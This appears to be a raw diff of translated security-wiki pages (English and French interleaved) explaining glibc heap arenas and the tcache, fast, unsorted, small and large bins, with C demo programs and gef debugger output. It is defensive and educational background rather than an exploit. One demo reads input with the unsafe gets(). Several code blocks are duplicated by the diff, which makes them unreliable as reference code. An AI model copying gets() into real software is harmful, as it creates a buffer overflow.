printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
}
void* threadFuncNoMalloc(void* arg) {
printf("Hello from thread 2\n");
printf("Hello from thread 2\n");
}
int main() {
pthread_t t1;
void* s;
int ret;
char* addr;
pthread_t t1;
void* s;
int ret;
char* addr;
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before exit\n");
getchar();
printf("Before exit\n");
getchar();
return 0;
return 0;
}
```
</details>
Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
En déboguant l'exemple précédent, il est possible de voir qu'au début, il n'y a qu'une seule arène :
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Then, after calling the first thread, the one that calls malloc, a new arena is created:
Puis, après avoir appelé le premier thread, celui qui appelle malloc, une nouvelle arène est créée :
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
and inside of it some chunks can be found:
et à l'intérieur, on peut trouver quelques chunks :
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
## Bins & Allocations/Désallocations de Mémoire
Check what are the bins and how are they organized and how memory is allocated and freed in:
Vérifiez ce que sont les bins, comment ils sont organisés et comment la mémoire est allouée et désallouée dans :
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
## Heap Functions Security Checks
## Vérifications de Sécurité des Fonctions de Tas
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
Les fonctions impliquées dans le tas effectueront certaines vérifications avant d'exécuter leurs actions pour essayer de s'assurer que le tas n'a pas été corrompu :
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Références
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -2,60 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
Afin d'améliorer l'efficacité de la manière dont les chunks sont stockés, chaque chunk n'est pas seulement dans une liste chaînée, mais il existe plusieurs types. Ce sont les bins et il y a 5 types de bins : [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) petits bins, 63 grands bins, 1 bin non trié, 10 fast bins et 64 tcache bins par thread.
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
L'adresse initiale de chaque bin non trié, petit et grand est à l'intérieur du même tableau. L'index 0 est inutilisé, 1 est le bin non trié, les bins 2-64 sont des petits bins et les bins 65-127 sont des grands bins.
### Tcache (Per-Thread Cache) Bins
### Tcache (Cache par thread) Bins
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
Bien que les threads essaient d'avoir leur propre heap (voir [Arenas](bins-and-memory-allocations.md#arenas) et [Subheaps](bins-and-memory-allocations.md#subheaps)), il est possible qu'un processus avec beaucoup de threads (comme un serveur web) **finisse par partager le heap avec d'autres threads**. Dans ce cas, la solution principale est l'utilisation de **lockers**, ce qui pourrait **ralentir considérablement les threads**.
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
Par conséquent, un tcache est similaire à un fast bin par thread en ce sens que c'est une **liste chaînée simple** qui ne fusionne pas les chunks. Chaque thread a **64 tcache bins chaînés**. Chaque bin peut avoir un maximum de [7 chunks de même taille](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) allant de [24 à 1032B sur les systèmes 64 bits et de 12 à 516B sur les systèmes 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
**Lorsqu'un thread libère** un chunk, **s'il n'est pas trop grand** pour être alloué dans le tcache et que le bin tcache respectif **n'est pas plein** (déjà 7 chunks), **il sera alloué là-dedans**. S'il ne peut pas aller dans le tcache, il devra attendre le verrou du heap pour pouvoir effectuer l'opération de libération globalement.
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
Lorsqu'un **chunk est alloué**, s'il y a un chunk libre de la taille nécessaire dans le **Tcache, il l'utilisera**, sinon, il devra attendre le verrou du heap pour pouvoir en trouver un dans les bins globaux ou en créer un nouveau.\
Il y a aussi une optimisation, dans ce cas, tout en ayant le verrou du heap, le thread **remplira son Tcache avec des chunks de heap (7) de la taille demandée**, donc s'il en a besoin de plus, il les trouvera dans le Tcache.
<details>
<summary>Add a tcache chunk example</summary>
<summary>Ajouter un exemple de chunk tcache</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
}
```
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
Compilez-le et déboguez-le avec un point d'arrêt dans l'opcode ret de la fonction main. Ensuite, avec gef, vous pouvez voir le tcache bin en cours d'utilisation :
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
</details>
#### Tcache Structs & Functions
#### Structures et Fonctions Tcache
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
Dans le code suivant, il est possible de voir les **max bins** et **chunks par index**, la structure **`tcache_entry`** créée pour éviter les doubles libérations et **`tcache_perthread_struct`**, une structure que chaque thread utilise pour stocker les adresses de chaque index du bin.
<details>
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary>
<summary><code>tcache_entry</code> et <code>tcache_perthread_struct</code></summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range
of tcache->counts[] entries, else they may overflow. */
of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX
[...]
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```
</details>
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
La fonction `__tcache_init` est la fonction qui crée et alloue l'espace pour l'objet `tcache_perthread_struct`.
<details>
<summary>tcache_init code</summary>
<summary>code tcache_init</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
```
</details>
#### Tcache Indexes
#### Indexes Tcache
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
Le tcache a plusieurs bins en fonction de la taille et des pointeurs initiaux vers le **premier chunk de chaque index et la quantité de chunks par index sont situés à l'intérieur d'un chunk**. Cela signifie qu'en localisant le chunk avec ces informations (généralement le premier), il est possible de trouver tous les points initiaux du tcache et la quantité de chunks Tcache.
### Fast bins
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
Les fast bins sont conçus pour **accélérer l'allocation de mémoire pour de petits chunks** en gardant les chunks récemment libérés dans une structure d'accès rapide. Ces bins utilisent une approche Last-In, First-Out (LIFO), ce qui signifie que le **chunk le plus récemment libéré est le premier** à être réutilisé lorsqu'il y a une nouvelle demande d'allocation. Ce comportement est avantageux pour la vitesse, car il est plus rapide d'insérer et de retirer du haut d'une pile (LIFO) par rapport à une file d'attente (FIFO).
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
De plus, **les fast bins utilisent des listes simplement chaînées**, et non des listes doublement chaînées, ce qui améliore encore la vitesse. Étant donné que les chunks dans les fast bins ne sont pas fusionnés avec leurs voisins, il n'est pas nécessaire d'avoir une structure complexe permettant de retirer du milieu. Une liste simplement chaînée est plus simple et plus rapide pour ces opérations.
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
En gros, ce qui se passe ici, c'est que l'en-tête (le pointeur vers le premier chunk à vérifier) pointe toujours vers le dernier chunk libéré de cette taille. Donc :
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
- Lorsqu'un nouveau chunk est alloué de cette taille, l'en-tête pointe vers un chunk libre à utiliser. Comme ce chunk libre pointe vers le suivant à utiliser, cette adresse est stockée dans l'en-tête afin que la prochaine allocation sache où obtenir un chunk disponible.
- Lorsqu'un chunk est libéré, le chunk libre enregistrera l'adresse du chunk actuellement disponible et l'adresse de ce chunk nouvellement libéré sera mise dans l'en-tête.
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
La taille maximale d'une liste chaînée est `0x80` et elles sont organisées de sorte qu'un chunk de taille `0x20` sera à l'index `0`, un chunk de taille `0x30` serait à l'index `1`...
> [!CAUTION]
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
> Les chunks dans les fast bins ne sont pas définis comme disponibles, donc ils sont conservés comme chunks de fast bin pendant un certain temps au lieu de pouvoir fusionner avec d'autres chunks libres les entourant.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Fastbins
Fastbins
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
```
<details>
<summary>Add a fastbin chunk example</summary>
<summary>Ajouter un exemple de chunk fastbin</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[8];
int i;
char *chunks[8];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Notez comment nous allouons et libérons 8 morceaux de la même taille afin qu'ils remplissent le tcache et que le huitième soit stocké dans le fast chunk.
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
Compilez-le et déboguez-le avec un point d'arrêt dans l'opcode `ret` de la fonction `main`. Ensuite, avec `gef`, vous pouvez voir que le tcache bin est plein et qu'un morceau est dans le fast bin :
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Unsorted bin
### Bin non trié
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
Le bin non trié est un **cache** utilisé par le gestionnaire de tas pour rendre l'allocation de mémoire plus rapide. Voici comment cela fonctionne : Lorsqu'un programme libère un morceau, et si ce morceau ne peut pas être alloué dans un tcache ou un fast bin et ne se heurte pas au top chunk, le gestionnaire de tas ne le place pas immédiatement dans un bin spécifique, petit ou grand. Au lieu de cela, il essaie d'abord de **le fusionner avec des morceaux libres voisins** pour créer un bloc de mémoire libre plus grand. Ensuite, il place ce nouveau morceau dans un bin général appelé "bin non trié".
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
Lorsque qu'un programme **demande de la mémoire**, le gestionnaire de tas **vérifie le bin non trié** pour voir s'il y a un morceau de taille suffisante. S'il en trouve un, il l'utilise immédiatement. S'il ne trouve pas de morceau approprié dans le bin non trié, il déplace tous les morceaux de cette liste vers leurs bins correspondants, soit petits soit grands, en fonction de leur taille.
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
Notez que si un morceau plus grand est divisé en 2 moitiés et que le reste est plus grand que MINSIZE, il sera remis dans le bin non trié.
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
Ainsi, le bin non trié est un moyen d'accélérer l'allocation de mémoire en réutilisant rapidement la mémoire récemment libérée et en réduisant le besoin de recherches et de fusions chronophages.
> [!CAUTION]
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
> Notez que même si les morceaux appartiennent à différentes catégories, si un morceau disponible se heurte à un autre morceau disponible (même s'ils appartiennent à l'origine à des bins différents), ils seront fusionnés.
<details>
<summary>Add a unsorted chunk example</summary>
<summary>Ajouter un exemple de morceau non trié</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[9];
int i;
char *chunks[9];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Notez comment nous allouons et libérons 9 morceaux de la même taille afin qu'ils **remplissent le tcache** et le huitième est stocké dans le tas non trié car il est **trop grand pour le fastbin** et le neuvième n'est pas libéré, donc le neuvième et le huitième **ne sont pas fusionnés avec le morceau supérieur**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
Compilez-le et déboguez-le avec un point d'arrêt dans l'opcode `ret` de la fonction `main`. Ensuite, avec `gef`, vous pouvez voir que le tas tcache est plein et qu'un morceau est dans le tas non trié :
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
```
</details>
### Small Bins
### Petits Bins
Small bins are faster than large bins but slower than fast bins.
Les petits bins sont plus rapides que les grands bins mais plus lents que les bins rapides.
Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
Chaque bin des 62 aura **des morceaux de la même taille** : 16, 24, ... (avec une taille maximale de 504 octets en 32 bits et 1024 en 64 bits). Cela aide à la rapidité pour trouver le bin où un espace doit être alloué et pour insérer et supprimer des entrées dans ces listes.
This is how the size of the small bin is calculated according to the index of the bin:
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
Voici comment la taille du petit bin est calculée en fonction de l'index du bin :
- Taille minimale : 2\*4\*index (par exemple, index 5 -> 40)
- Taille maximale : 2\*8\*index (par exemple, index 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
```
Function to choose between small and large bins:
Fonction pour choisir entre de petits et de grands bins :
```c
#define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
```
<details>
<summary>Add a small chunk example</summary>
<summary>Ajouter un petit exemple de morceau</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[10];
int i;
char *chunks[10];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
chunks[9] = malloc(0x110);
chunks[9] = malloc(0x110);
return 0;
return 0;
}
```
Notez comment nous allouons et libérons 9 morceaux de la même taille afin qu'ils **remplissent le tcache** et le huitième est stocké dans le tas non trié car il est **trop grand pour le fastbin** et le neuvième n'est pas libéré, donc le neuvième et le huitième **ne sont pas fusionnés avec le morceau supérieur**. Ensuite, nous allouons un morceau plus grand de 0x110, ce qui fait que **le morceau dans le tas non trié va dans le petit tas**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
Compilez-le et déboguez-le avec un point d'arrêt dans l'opcode `ret` de la fonction `main`. Ensuite, avec `gef`, vous pouvez voir que le tas tcache est plein et qu'un morceau est dans le petit tas :
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
</details>
### Large bins
### Bins larges
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
Contrairement aux petits bins, qui gèrent des morceaux de tailles fixes, chaque **bin large gère une gamme de tailles de morceaux**. Cela est plus flexible, permettant au système d'accommoder **diverses tailles** sans avoir besoin d'un bin séparé pour chaque taille.
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
Dans un allocateur de mémoire, les bins larges commencent là où les petits bins se terminent. Les plages pour les bins larges deviennent progressivement plus grandes, ce qui signifie que le premier bin peut couvrir des morceaux de 512 à 576 octets, tandis que le suivant couvre de 576 à 640 octets. Ce schéma se poursuit, le plus grand bin contenant tous les morceaux au-dessus de 1 Mo.
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
